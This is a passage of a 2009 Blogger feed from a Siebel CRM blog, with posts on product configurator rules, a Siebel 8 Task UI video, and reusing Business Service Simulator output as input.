compatibity rules.&lt;br /&gt;&lt;br /&gt;For Example If a product is visible to a partner and hidden from other then it’s a business rule. But there are some rules specific to the products. For example if user is configuring a notebook computer then he must buy power supply compatible to the model selected, or if user have selected Windows Vista then computer must have at least 2 GB memory in it.&lt;br /&gt;&lt;br /&gt;Product Configurator is closely coupled Siebel Pricing engine. It helps to show the price of the product inside the Configurator immediately on selection of any product in the Configurator.&lt;br /&gt;&lt;br /&gt;Before going in to detail of configuration one can refer &lt;a href="http://siebelunleashed.com/product-configurator-part-2/"&gt;Neel’s blog part 2 &lt;/a&gt;on product configurator.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#cc6600;"&gt;Few words of caution for new Product designers:&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;1. As divisions in Siebel, product are once created can’t be deleted in the Siebel although they can be made hidden in the application.&lt;br /&gt;2. They are completely built inside the Siebel Client, not in Siebel tools.&lt;br /&gt;3. They are migrated from one environment to other using Workspace import export utility.&lt;br /&gt;4. To make any product visible in the system (visible in the pick applets), designer must release product once and end date of release should be valid.&lt;br /&gt;5. There are several ways to make product hidden in the system, one of them being the orderable flag. If it is unchecked product won't be visible in the pick applet across the applications.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#cc6600;"&gt;Next Post:&lt;/span&gt;&lt;/strong&gt; How to create and configure products in Siebel?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-4360022164370915996?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/4360022164370915996/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=4360022164370915996&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4360022164370915996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4360022164370915996'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/07/exploring-siebel-product-configurator.html' title='Exploring Siebel Product Configurator'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-7616385842239443321</id><published>2009-07-11T16:51:00.000-07:00</published><updated>2009-08-14T03:41:24.564-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel 8 Presentations'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Presentations'/><category scheme='http://www.blogger.com/atom/ns#' term='Screencasts/Videos'/><title type='text'>Introduction to Siebel 8 Task Base UI</title><content type='html'>&lt;div style="text-align: left;"&gt;Task base UI is one the most talked about feature of Siebel 8.  In this presentation Scott Nash from oracle is explaining the need and the facilities that task UI Provides. &lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/MQexATIgsWk&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/MQexATIgsWk&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Coming Up : Building Task UI in Siebel 8&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-7616385842239443321?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/7616385842239443321/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=7616385842239443321&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/7616385842239443321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/7616385842239443321'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/07/introduction-to-siebel-8-task-base-ui.html' title='Introduction to Siebel 8 Task Base UI'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-634645302527535704</id><published>2009-07-02T11:42:00.000-07:00</published><updated>2009-07-13T11:02:34.950-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel eScript'/><title type='text'>How to use output of Business Service Simulator?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_mJfGtfR_Zdc/SlOiYBkLy6I/AAAAAAAAABk/Xpfojp1yquI/s1600-h/3.JPG"&gt;&lt;/a&gt;&lt;div style="TEXT-ALIGN: left"&gt;&lt;blockquote&gt;&lt;/blockquote&gt;If you have ever developed business services and&lt;span class="apple-converted-space"&gt; workflows &lt;/span&gt;you must have&lt;span class="apple-converted-space"&gt; &lt;/span&gt;definitely&lt;span class="apple-converted-space"&gt; &lt;/span&gt;gone to Business Service Simulator View, to test or simulate business services or&lt;span class="apple-converted-space"&gt; workflows&lt;/span&gt;.&lt;span class="apple-converted-space"&gt; &lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt; But have you ever wondered that can we use the output arguments of the simulation again as input to the next simulation?! Even i&lt;span class="apple-converted-space"&gt; &lt;/span&gt;didn't&lt;span class="apple-converted-space"&gt; &lt;/span&gt;really thought about this earlier, until in Acceptance test of our project i needed to reproduce the&lt;span class="apple-converted-space"&gt; &lt;/span&gt;behavior&lt;span class="apple-converted-space"&gt; &lt;/span&gt;of one my workflow in controlled manner.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt; At that time one of my colleague suggested me to use Move to Input in built functionality of the Siebel Business Service Simulator.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"  style="color:#cc6600;"&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Lets see how it is done:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt; 1. Go to Administration Business Service Screen and Simulate the first service.&lt;/span&gt;&lt;/p&gt;&lt;div style="TEXT-ALIGN: center"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="TEXT-ALIGN: center"&gt;&lt;img id="BLOGGER_PHOTO_ID_5355800585169659330" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 150px; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_mJfGtfR_Zdc/SlOgQYbd5cI/AAAAAAAAABU/ScJIo3onYPU/s400/1.JPG" border="0" /&gt;&lt;/div&gt;&lt;p class="MsoNormal"&gt;In my case I first simulated EAI Siebel Adapter Service Query Method to generate Siebel message..&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt; &lt;?xml:namespace prefix = o /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;2. You will then see a record created in the grandchild Applet containing the output properties of the business service. Now if you want to use this output as input to another business service then there is one way to copy and paste value into the input or to use Move to Input button!!!&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_mJfGtfR_Zdc/SlOhi9_IaHI/AAAAAAAAABc/tpqorUBCa4Q/s1600-h/2.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5355802004000630898" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 185px; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_mJfGtfR_Zdc/SlOhi9_IaHI/AAAAAAAAABc/tpqorUBCa4Q/s400/2.JPG" border="0" /&gt;&lt;/a&gt; &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;This button copies the output property set record to the input, and then these can be used to simulate another business service.see screenshot:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span class="Apple-style-span" style="COLOR: rgb(0,0,238)"&gt;&lt;br /&gt;&lt;img id="BLOGGER_PHOTO_ID_5355802915494415266" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 150px; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_mJfGtfR_Zdc/SlOiYBkLy6I/AAAAAAAAABk/Xpfojp1yquI/s400/3.JPG" border="0" /&gt;&lt;/span&gt; &lt;p class="MsoNormal"&gt;This is becomes very useful if our service is expecting derived inputs. By use of this we can simulate certain steps of workflow on the run.&lt;/p&gt;&lt;p class="MsoNormal"&gt;Please let me know if it helps anyone. :)&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-634645302527535704?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/634645302527535704/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=634645302527535704&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/634645302527535704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/634645302527535704'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/07/using-output-of-siebel-business-service.html' title='How to use output of Business Service Simulator?'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_mJfGtfR_Zdc/SlOgQYbd5cI/AAAAAAAAABU/ScJIo3onYPU/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
